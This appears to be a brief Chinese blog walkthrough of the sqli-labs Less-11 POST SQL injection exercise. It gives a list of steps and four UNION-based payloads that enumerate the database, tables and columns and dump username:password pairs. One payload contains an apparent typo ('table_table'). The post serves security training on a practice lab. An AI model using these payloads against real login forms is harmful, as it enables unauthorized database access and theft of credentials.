发布时间:2023-05-30 17:30
sqli-labs专栏地址
目录
less-11(POST注入)
1.send to Repeater
2.单引号报错
3. 查库名
4.查表名
5.查段名
6.查数据
7.用查到的数据Dumb登录
aadmin' union select user(),database()--
aadmin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--
aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_table='users'--
aadmin' union select 1,group_concat(username,':',password) from users --